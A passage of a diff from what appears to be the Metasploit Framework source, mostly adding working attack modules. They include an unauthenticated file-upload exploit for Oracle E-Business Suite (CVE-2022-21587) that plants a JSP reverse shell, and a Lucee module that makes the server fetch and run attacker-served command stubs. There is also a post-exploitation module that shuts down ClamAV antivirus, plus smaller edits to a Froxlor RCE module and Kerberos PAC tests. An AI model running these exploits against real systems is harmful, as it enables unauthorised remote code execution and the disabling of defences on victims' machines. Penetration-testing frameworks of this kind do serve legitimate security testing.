when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
print_brute(level: :verror, ip: ip, msg: result.proof)
report_bad_cred(ip, rport, result)
when Metasploit::Model::Login::Status::INCORRECT
print_brute(level: :verror, ip: ip, msg: "Failed: '#{result.credential}'")
report_bad_cred(ip, rport, result)
when Metasploit::Model::Login::Status::DENIED_ACCESS
print_brute(level: :verror, ip: ip, msg: "Access denied: '#{result.credential}'")
report_bad_cred(ip, rport, result)
end
end
end
def run_host(ip)
softing_ver = scanner(ip).check_setup
# if we get "false", throw the error
unless softing_ver
print_brute(level: :error, ip: ip, msg: 'Target is not Softing Secure Integration Server')
return
end
# otherwise, report the version
print_brute(level: :good, ip: ip, msg: "Softing Secure Integration Server #{softing_ver}")
bruteforce(ip)
end
end
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
info,
'Name' => 'Froxlor Log Path RCE',
'Description' => %q{
Froxlor v2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path
Froxlor v2.0.7 and below suffer from a bug that allows authenticated users to change the application logs path
to any directory on the OS level which the user www-data can write without restrictions from the backend which
leads to writing a malicious Twig template that the application will render. That will lead to achieving a
remote command execution under the user www-data.
@@ -119,11 +119,13 @@ class MetasploitModule < Msf::Exploit::Remote
else
version = res.get_html_document.at('body/span/text()')
if version
if Rex::Version.new('2.0.6') >= Rex::Version.new(version)
if Rex::Version.new('2.0.7') >= Rex::Version.new(version)
Exploit::CheckCode::Appears("Vulnerable version found: #{version}")
else
Exploit::CheckCode::Safe("Non-vulnerable version found: #{version}")
end
else
Exploit::CheckCode::Detected("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")
Exploit::CheckCode::Unknown("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")
end
end
end
@@ -0,0 +1,148 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle E-Business Suite (EBS) Unauthenticated Arbitrary File Upload',
'Description' => %q{
This module exploits an unauthenticated arbitrary file upload vulnerability in Oracle Web Applications
Desktop Integrator, as shipped with Oracle EBS versions 12.2.3 through to 12.2.11, in
order to gain remote code execution as the oracle user.
},
'Author' => [
'sf', # MSF Exploit & Rapid7 Analysis
'HMs', # Python PoC
'l1k3beef', # Original Discoverer
],
'References' => [
['CVE', '2022-21587'],
['URL', 'https://attackerkb.com/topics/Bkij5kK1qK/cve-2022-21587/rapid7-analysis'],
['URL', 'https://blog.viettelcybersecurity.com/cve-2022-21587-oracle-e-business-suite-unauth-rce/'],
['URL', 'https://github.com/hieuminhnv/CVE-2022-21587-POC']
],
'DisclosureDate' => '2022-10-01',
'License' => MSF_LICENSE,
'Platform' => %w[linux],
'Arch' => ARCH_JAVA,
'Privileged' => false, # Code execution as user 'oracle'
'Targets' => [
[
'Oracle EBS on Linux (OVA Install)',
{
'Platform' => 'linux',
'EBSBasePath' => '/u01/install/APPS/fs1/',
'EBSUploadPath' => 'EBSapps/appl/bne/12.0.0/upload/',
'EBSFormsPath' => 'FMW_Home/Oracle_EBS-app1/applications/forms/forms/'
}
]
],
'DefaultOptions' => {
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(8000)
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/OA_HTML/FrmReportData'
)
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Unknown unless res.code == 200
match = res.body.match(%r{jsLibs/Common(\d+_\d+_\d+)})
if match && (match.length == 2)
version = Rex::Version.new(match[1].gsub('_', '.'))
if version.between?(Rex::Version.new('12.2.3'), Rex::Version.new('12.2.11'))
return CheckCode::Appears("Oracle EBS version #{version} detected.")
end
return CheckCode::Safe("Oracle EBS version #{version} detected.")
end
CheckCode::Safe
end
def exploit
endpoints = %w[BneViewerXMLService BneDownloadService BneOfflineLOVService BneUploaderService]
target_url = "/OA_HTML/#{endpoints.sample}"
print_status("Targeting the endpoint: #{target_url}")
jsp_name = Rex::Text.rand_text_alpha_lower(3..8) + '.jsp'
jsp_path = '../' * target['EBSUploadPath'].split('/').length
jsp_path << "#{target['EBSFormsPath']}#{jsp_name}"
jsp_absolute_path = "#{target['EBSBasePath']}#{target['EBSFormsPath']}#{jsp_name}"
zip = Rex::Zip::Archive.new
zip.add_file(jsp_path, payload.encoded)
# The ZIP file is expected to be encoded with the binary to text encoding mechanism called uuencode.
# For a detailed description refer to the Rapid7 AttackerKB analysis in the References section of this module.
uue_data = "begin 777 #{Rex::Text.rand_text_alpha_lower(3..8)}.zip\n"
uue_data << [zip.pack].pack('u')
uue_data << "end\n"
uue_name = "#{Rex::Text.rand_text_alpha_lower(3..8)}.uue"
mime = Rex::MIME::Message.new
mime.add_part(uue_data, 'text/plain', nil, %(form-data; name="file"; filename="#{uue_name}"))
register_file_for_cleanup(jsp_absolute_path)
res = send_request_cgi(
{
'method' => 'POST',
'uri' => target_url,
'vars_get' => { 'bne:uueupload' => 'true' },
'encode_params' => true,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
}
)
unless res && res.code == 200 && res.body.include?('bne:text="Cannot be logged in as GUEST."')
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
end
print_status('Triggering the payload...')
send_request_cgi(
'method' => 'GET',
'uri' => "/forms/#{jsp_name}"
)
end
end
@@ -0,0 +1,317 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Retry
include Msf::Exploit::FileDropper
require 'base64'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Lucee Authenticated Scheduled Job Code Execution',
'Description' => %q{
This module can be used to execute a payload on Lucee servers that have an exposed
administrative web interface. It's possible for an administrator to create a
scheduled job that queries a remote ColdFusion file, which is then downloaded and executed
when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed,
the payload will run as the user specified during the Lucee installation. On Windows, this is a service account;
on Linux, it is either the root user or lucee.
},
'Targets' => [
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_cmd
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
]
],
'Author' => 'Alexander Philiotis', # aphiliotis@synercomm.com
'License' => MSF_LICENSE,
'References' => [
# This abuses the functionality inherent to the Lucee platform and
# thus is not related to any CVEs.
# Lucee Docs
['URL', 'https://docs.lucee.org/'],
# cfexecute & cfscript documentation
['URL', 'https://docs.lucee.org/reference/tags/execute.html'],
['URL', 'https://docs.lucee.org/reference/tags/script.html'],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
# /opt/lucee/server/lucee-server/context/logs/application.log
# /opt/lucee/web/logs/exception.log
IOC_IN_LOGS,
ARTIFACTS_ON_DISK,
# ColdFusion files located at the webroot of the Lucee server
# C:/lucee/tomcat/webapps/ROOT/ by default on Windows
# /opt/lucee/tomcat/webapps/ROOT/ by default on Linux
]
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DisclosureDate' => '2023-02-10'
)
)
register_options(
[
Opt::RPORT(8888),
OptString.new('PASSWORD', [false, 'The password for the administrative interface']),
OptString.new('TARGETURI', [true, 'The path to the admin interface.', '/lucee/admin/web.cfm']),
OptInt.new('PAYLOAD_DEPLOY_TIMEOUT', [false, 'Time in seconds to wait for access to the payload', 20]),
]
)
deregister_options('URIPATH')
end
def exploit
payload_base = rand_text_alphanumeric(8..16)
authenticate
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
print_status("Payload request received for #{req.uri} from #{cli.peerhost}")
send_response(cli, cfm_stub)
end,
'Path' => '/' + payload_base + '.cfm'
}
})
#
# Create the scheduled job
#
create_job(payload_base)
#
# Execute the scheduled job and attempt to send a GET request to it.
#
execute_job(payload_base)
print_good('Exploit completed.')
#
# Removes the scheduled job
#
print_status('Removing scheduled job ' + payload_base)
cleanup_request = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'action' => 'services.schedule'
},
'vars_post' => {
'row_1' => '1',
'name_1' => payload_base.to_s,
'mainAction' => 'delete'
}
})
if cleanup_request && cleanup_request.code == 302
print_good('Scheduled job removed.')
else
print_bad('Failed to remove scheduled job.')
end
end
def authenticate
auth = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'vars_post' => {
'login_passwordweb' => datastore['PASSWORD'],
'lang' => 'en',
'rememberMe' => 's',
'submit' => 'submit'
}
})
unless auth
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
unless auth.code == 200 && auth.body.include?('nav_Security')
fail_with(Failure::NoAccess, 'Unable to authenticate. Please double check your credentials and try again.')
end
print_good('Authenticated successfully')
end
def create_job(payload_base)
create_job = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'vars_get' => {
'action' => 'services.schedule',
'action2' => 'create'
},
'vars_post' => {
'name' => payload_base,
'url' => get_uri.to_s,
'interval' => '3600',
'start_day' => '01',
'start_month' => '02',
'start_year' => '2023',
'start_hour' => '00',
'start_minute' => '00',
'start_second' => '00',
'run' => 'create'
}
})
fail_with(Failure::Unreachable, 'Could not connect to the web service') if create_job.nil?
fail_with(Failure::UnexpectedReply, 'Unable to create job') unless create_job.code == 302
print_good('Job ' + payload_base + ' created successfully')
job_file_path = file_path = webroot
fail_with(Failure::UnexpectedReply, 'Could not identify the web root') if job_file_path.blank?
case target['Type']
when :unix_cmd
file_path << '/'
job_file_path = "#{job_file_path.gsub('/', '//')}//"
when :windows_cmd
file_path << '\\'
job_file_path = "#{job_file_path.gsub('\\', '\\\\')}\\"
end
update_job = send_request_cgi({
'method' => 'POST',
'uri' => target_uri.path,
'keep_cookies' => true,
'vars_get' => {
'action' => 'services.schedule',
'action2' => 'edit',
'task' => create_job.headers['location'].split('=')[-1]
},
'vars_post' => {
'name' => payload_base,
'url' => get_uri.to_s,
'port' => datastore['SRVPORT'],
'timeout' => '50',
'username' => '',
'password' => '',
'proxyserver' => '',
'proxyport' => '',
'proxyuser' => '',
'proxypassword' => '',
'publish' => 'true',
'file' => "#{job_file_path}#{payload_base}.cfm",
'start_day' => '01',
'start_month' => '02',
'start_year' => '2023',
'start_hour' => '00',
'start_minute' => '00',
'start_second' => '00',
'end_day' => '',
'end_month' => '',
'end_year' => '',
'end_hour' => '',
'end_minute' => '',
'end_second' => '',
'interval_hour' => '1',
'interval_minute' => '0',
'interval_second' => '0',
'run' => 'update'
}
})
fail_with(Failure::Unreachable, 'Could not connect to the web service') if update_job.nil?
fail_with(Failure::UnexpectedReply, 'Unable to update job') unless update_job.code == 302 || update_job.code == 200
register_files_for_cleanup("#{file_path}#{payload_base}.cfm")
print_good('Job ' + payload_base + ' updated successfully')
end
def execute_job(payload_base)
print_status("Executing scheduled job: #{payload_base}")
job_execution = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'action' => 'services.schedule'
},
'vars_post' => {
'row_1' => '1',
'name_1' => payload_base,
'mainAction' => 'execute'
}
})
fail_with(Failure::Unreachable, 'Could not connect to the web service') if job_execution.nil?
fail_with(Failure::Unknown, 'Unable to execute job') unless job_execution.code == 302 || job_execution.code == 200
print_good('Job ' + payload_base + ' executed successfully')
payload_response = nil
retry_until_truthy(timeout: datastore['PAYLOAD_DEPLOY_TIMEOUT']) do
print_status('Attempting to access payload...')
payload_response = send_request_cgi(
'uri' => '/' + payload_base + '.cfm',
'method' => 'GET'
)
payload_response.nil? || (payload_response && payload_response.code == 200 && payload_response.body.exclude?('Error')) || (payload_response.code == 500)
end
# Unix systems tend to return a 500 response code when executing a shell. Windows tends to return a nil response, hence the check for both.
fail_with(Failure::Unknown, 'Unable to execute payload') unless payload_response.nil? || payload_response.code == 200 || payload_response.code == 500
if payload_response.nil?
print_status('No response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
elsif payload_response.code == 200
print_good('Received 200 response from ' + payload_base + '.cfm')
output = payload_response.body.strip
if output.include?("\n")
print_good('Output:')
print_line(output)
elsif output.present?
print_good('Output: ' + output)
end
elsif payload_response.code == 500
print_status('Received 500 response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
end
end
def webroot
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return nil unless res
res.get_html_document.at('[text()*="Webroot"]')&.next&.next&.text
end
def cfm_stub
case target['Type']
when :windows_cmd
<<~CFM.gsub(/^\s+/, '').tr("\n", '')
<cfscript>
cfexecute(name="cmd.exe", arguments="/c " & toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64")),timeout=5);
</cfscript>
CFM
when :unix_cmd
<<~CFM.gsub(/^\s+/, '').tr("\n", '')
<cfscript>
cfexecute(name="/bin/bash", arguments=["-c", toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64"))],timeout=5);
</cfscript>
CFM
end
end
end
@@ -0,0 +1,66 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Disable ClamAV',
'Description' => %q{
This module will write to the ClamAV Unix socket to shutoff ClamAV.
},
'License' => MSF_LICENSE,
'Author' => [
'DLL_Cool_J'
],
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('CLAMAV_UNIX_SOCKET', [true, 'ClamAV unix socket', '/run/clamav/clamd.ctl' ]),
OptString.new('COMMAND', [true, 'ClamAV command to execute', 'SHUTDOWN' ])
], self.class
)
end
def run
clamav_socket = datastore['CLAMAV_UNIX_SOCKET']
cmd = datastore['COMMAND']
if command_exists?('socat')
print_good('socat exists')
payload = "echo #{cmd} | socat - UNIX-CONNECT:#{clamav_socket}"
elsif command_exists?('nc')
print_good('nc exists')
payload = "echo #{cmd} | nc -U #{clamav_socket}"
elsif command_exists?('python')
print_good('python exists')
payload = "python -c \"import socket; sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); sock.connect('#{clamav_socket}'); sock.send('#{cmd}'.encode());\""
elsif command_exists?('python3')
print_good('python3 exists')
payload = "python3 -c \"import socket; sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM); sock.connect('#{clamav_socket}'); sock.send('#{cmd}'.encode());\""
else
fail_with(Failure::NotFound, 'No suitable binary found on the target host. Quitting!')
end
print_status("Checking file path #{clamav_socket} exists and is writable... ")
print_bad('File does NOT exist or is not writable!') unless writable?(clamav_socket.to_s)
print_good('File does exist and is writable!')
print_good("Sending #{cmd}...")
cmd_exec(payload)
end
end
+1 -1
View File
@@ -157,7 +157,7 @@ class MetasploitModule < Msf::Post
inner_filter << '(!(lockoutTime>=1))' if datastore['EXCLUDE_LOCKED']
inner_filter << '(!(userAccountControl:1.2.840.113556.1.4.803:=2))' if datastore['EXCLUDE_DISABLED']
inner_filter << "(memberof:1.2.840.113556.1.4.1941:=#{datastore['GROUP_MEMBER']})" if datastore['GROUP_MEMBER']
inner_filter << "(#{datastore['FILTER']})" if datastore['FILTER'] != ''
inner_filter << "(#{datastore['FILTER']})" unless datastore['FILTER'].blank?
case datastore['UAC']
when 'ANY'
when 'NO_PASSWORD'
+196 -49
View File
@@ -47,57 +47,58 @@ RSpec.describe Rex::Proto::Kerberos::Pac::Krb5Pac do
"\xc5\xd1\x21\x15\x32\x26\x92\x19\x5f\x02\x3e\x6c\x00\x00\x00\x00"
end
let(:rsa_md5) { 7 }
let(:encryption_type) { Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5 }
let(:logon_info) do
validation_info = Rex::Proto::Kerberos::Pac::Krb5ValidationInfo.new
validation_info.logon_time = Time.at(1418712492)
validation_info.effective_name = 'juan'
validation_info.user_id = 1000
validation_info.primary_group_id = 513
validation_info.group_ids = [513, 512, 520, 518, 519]
validation_info.logon_domain_name = 'DEMO.LOCAL'
validation_info.logon_domain_id = 'S-1-5-21-1755879683-3641577184-3486455962'
validation_info.full_name = ''
validation_info.logon_script = ''
validation_info.profile_path = ''
validation_info.home_directory = ''
validation_info.home_directory_drive = ''
validation_info.logon_server = ''
Rex::Proto::Kerberos::Pac::Krb5LogonInformation.new(
data: validation_info
)
end
let(:client_info) do
Rex::Proto::Kerberos::Pac::Krb5ClientInfo.new(
client_id: Time.at(1418712492),
name: 'juan'
)
end
let(:server_checksum) do
Rex::Proto::Kerberos::Pac::Krb5PacServerChecksum.new(
signature_type: encryption_type
)
end
let(:priv_srv_checksum) do
Rex::Proto::Kerberos::Pac::Krb5PacPrivServerChecksum.new(
signature_type: encryption_type
)
end
let(:pac_elements) do
[
logon_info,
client_info,
server_checksum,
priv_srv_checksum
]
end
describe '#assign' do
let(:logon_info) do
validation_info = Rex::Proto::Kerberos::Pac::Krb5ValidationInfo.new
validation_info.logon_time = Time.at(1418712492)
validation_info.effective_name = 'juan'
validation_info.user_id = 1000
validation_info.primary_group_id = 513
validation_info.group_ids = [513, 512, 520, 518, 519]
validation_info.logon_domain_name = 'DEMO.LOCAL'
validation_info.logon_domain_id = 'S-1-5-21-1755879683-3641577184-3486455962'
validation_info.full_name = ''
validation_info.logon_script = ''
validation_info.profile_path = ''
validation_info.home_directory = ''
validation_info.home_directory_drive = ''
validation_info.logon_server = ''
Rex::Proto::Kerberos::Pac::Krb5LogonInformation.new(
data: validation_info
)
end
let(:client_info) do
Rex::Proto::Kerberos::Pac::Krb5ClientInfo.new(
client_id: Time.at(1418712492),
name: 'juan'
)
end
let(:server_checksum) do
Rex::Proto::Kerberos::Pac::Krb5PacServerChecksum.new(
signature_type: rsa_md5
)
end
let(:priv_srv_checksum) do
Rex::Proto::Kerberos::Pac::Krb5PacPrivServerChecksum.new(
signature_type: rsa_md5
)
end
let(:pac_elements) do
[
logon_info,
client_info,
server_checksum,
priv_srv_checksum
]
end
it 'creates a valid pac structure' do
pac.assign(pac_elements: pac_elements)
pac.sign!
@@ -117,6 +118,152 @@ RSpec.describe Rex::Proto::Kerberos::Pac::Krb5Pac do
expect(pac.to_binary_s).to eq(sample)
end
end
context 'missing the server and priv checksums' do
let(:pac_elements) do
[
logon_info,
client_info
]
end
it 'raises an exception with the missing elements' do
pac.assign(pac_elements: pac_elements)
expect { pac.sign! }.to raise_error(Rex::Proto::Kerberos::Pac::Error::MissingInfoBuffer)
end
end
context 'with full pac checksum' do
let(:rc4) { '88E4D9FABAECF3DEC18DD80905521B29' }
let(:ticket_key) { [rc4].pack('H*') }
let(:sample_with_full_pac_checksum) do
"\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xc0\x01\x00\x00" \
"\x68\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \
"\x28\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x14\x00\x00\x00" \
"\x48\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x14\x00\x00\x00" \
"\x60\x02\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x14\x00\x00\x00" \
"\x78\x02\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00\x14\x00\x00\x00" \
"\x90\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \
"\xb0\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xea\xc1\x1c" \
"\x47\x98\xd8\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff" \
"\xff\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x7f\x14\x00\x16\x00" \
"\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00" \
"\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
"\x06\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
"\xf4\x01\x00\x00\x01\x02\x00\x00\x05\x00\x00\x00\x08\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x10\x00\x12\x00" \
"\x0a\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00" \
"\x66\x00\x61\x00\x6b\x00\x65\x00\x5f\x00\x6d\x00\x79\x00\x73\x00" \
"\x71\x00\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x05\x00\x00\x00\x01\x02\x00\x00\x07\x00\x00\x00\x00\x02\x00\x00" \
"\x07\x00\x00\x00\x08\x02\x00\x00\x07\x00\x00\x00\x06\x02\x00\x00" \
"\x07\x00\x00\x00\x07\x02\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
"\x08\x00\x00\x00\x44\x00\x57\x00\x2e\x00\x4c\x00\x4f\x00\x43\x00" \
"\x41\x00\x4c\x00\x04\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05" \
"\x15\x00\x00\x00\x02\x87\x5a\x55\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\xc1\x1c\x47\x98\xd8\x01" \
"\x14\x00\x66\x00\x61\x00\x6b\x00\x65\x00\x5f\x00\x6d\x00\x79\x00" \
"\x73\x00\x71\x00\x6c\x00\x00\x00\x76\xff\xff\xff\x92\xda\x58\x50" \
"\x0d\x5e\x04\x41\x82\x82\xeb\x98\xa9\x05\x21\xf8\x00\x00\x00\x00" \
"\x76\xff\xff\xff\xdd\xd9\x72\x42\xea\x7e\x60\x63\x77\x8f\x64\xcd" \
"\x9b\x1e\x87\x2f\x00\x00\x00\x00\x76\xff\xff\xff\x08\x1b\x92\xf2" \
"\x8c\x40\x72\x46\xda\x46\xef\x2c\x98\x8d\x01\x52\x00\x00\x00\x00" \
"\x76\xff\xff\xff\x35\x68\x69\x1d\xb6\x3b\x77\x31\xf1\x2d\x63\x0d" \
"\xdd\xd8\xfb\x3f\x00\x00\x00\x00"
end
it 'calculates checksums correctly' do
pac = described_class.read(sample_with_full_pac_checksum)
tu_pac = pac.dup
checksum_ul_types = [
Rex::Proto::Kerberos::Pac::Krb5PacElementType::SERVER_CHECKSUM,
Rex::Proto::Kerberos::Pac::Krb5PacElementType::PRIVILEGE_SERVER_CHECKSUM,
Rex::Proto::Kerberos::Pac::Krb5PacElementType::FULL_PAC_CHECKSUM
]
pac.pac_info_buffers.each do |info_buffer|
pac_element = info_buffer.buffer.pac_element
if checksum_ul_types.include?(pac_element.ul_type)
# Remove the signatures so we can calculate them
pac_element.signature = nil
end
end
pac.calculate_checksums!(service_key: ticket_key)
expect(pac).to eq(tu_pac)
end
end
context 'with keyed checksums' do
let(:aes_256) { 'dec977048690dc9278ecea3dd07ca386295bc7ddc0d346676a498104b5f5113e' }
let(:ticket_key) { [aes_256].pack('H*') }
let(:sample_with_keyed_checksums) do
"\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xc0\x01\x00\x00" \
"\x58\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x1e\x00\x00\x00" \
"\x18\x02\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x10\x00\x00\x00" \
"\x38\x02\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x10\x00\x00\x00" \
"\x48\x02\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00" \
"\x58\x02\x00\x00\x00\x00\x00\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc" \
"\xb0\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xea\xc1\x1c" \
"\x47\x98\xd8\x01\xff\xff\xff\xff\xff\xff\xff\x7f\xff\xff\xff\xff" \
"\xff\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x7f\x14\x00\x16\x00" \
"\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00" \
"\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
"\x06\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
"\xf4\x01\x00\x00\x01\x02\x00\x00\x05\x00\x00\x00\x08\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x10\x00\x12\x00" \
"\x0a\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00" \
"\x66\x00\x61\x00\x6b\x00\x65\x00\x5f\x00\x6d\x00\x79\x00\x73\x00" \
"\x71\x00\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x05\x00\x00\x00\x01\x02\x00\x00\x07\x00\x00\x00\x00\x02\x00\x00" \
"\x07\x00\x00\x00\x08\x02\x00\x00\x07\x00\x00\x00\x06\x02\x00\x00" \
"\x07\x00\x00\x00\x07\x02\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
"\x08\x00\x00\x00\x44\x00\x57\x00\x2e\x00\x4c\x00\x4f\x00\x43\x00" \
"\x41\x00\x4c\x00\x04\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05" \
"\x15\x00\x00\x00\x02\x87\x5a\x55\xfd\x66\x7b\xcc\xf7\xbc\xaf\x16" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\xc1\x1c\x47\x98\xd8\x01" \
"\x14\x00\x66\x00\x61\x00\x6b\x00\x65\x00\x5f\x00\x6d\x00\x79\x00" \
"\x73\x00\x71\x00\x6c\x00\x00\x00\x10\x00\x00\x00\x4a\xf8\xeb\x1e" \
"\x30\xec\xd5\x09\x11\xe8\x92\x46\x10\x00\x00\x00\xb3\xf3\x6b\xeb" \
"\x5d\xc3\xcb\x64\x24\x56\x75\x41\x10\x00\x00\x00\xc1\x92\xc6\x5f" \
"\x81\x53\x91\x80\xff\xe4\x99\x4d"
end
it 'calculates the checksums correctly' do
pac = described_class.read(sample_with_keyed_checksums)
tu_pac = pac.dup
checksum_ul_types = [
Rex::Proto::Kerberos::Pac::Krb5PacElementType::SERVER_CHECKSUM,
Rex::Proto::Kerberos::Pac::Krb5PacElementType::PRIVILEGE_SERVER_CHECKSUM
]
pac.pac_info_buffers.each do |info_buffer|
pac_element = info_buffer.buffer.pac_element
if checksum_ul_types.include?(pac_element.ul_type)
# Remove the signatures so we can calculate them
pac_element.signature = nil
end
end
pac.calculate_checksums!(service_key: ticket_key)
expect(pac).to eq(tu_pac)
end
end
end
RSpec.describe Rex::Proto::Kerberos::Pac::Krb5LogonInformation do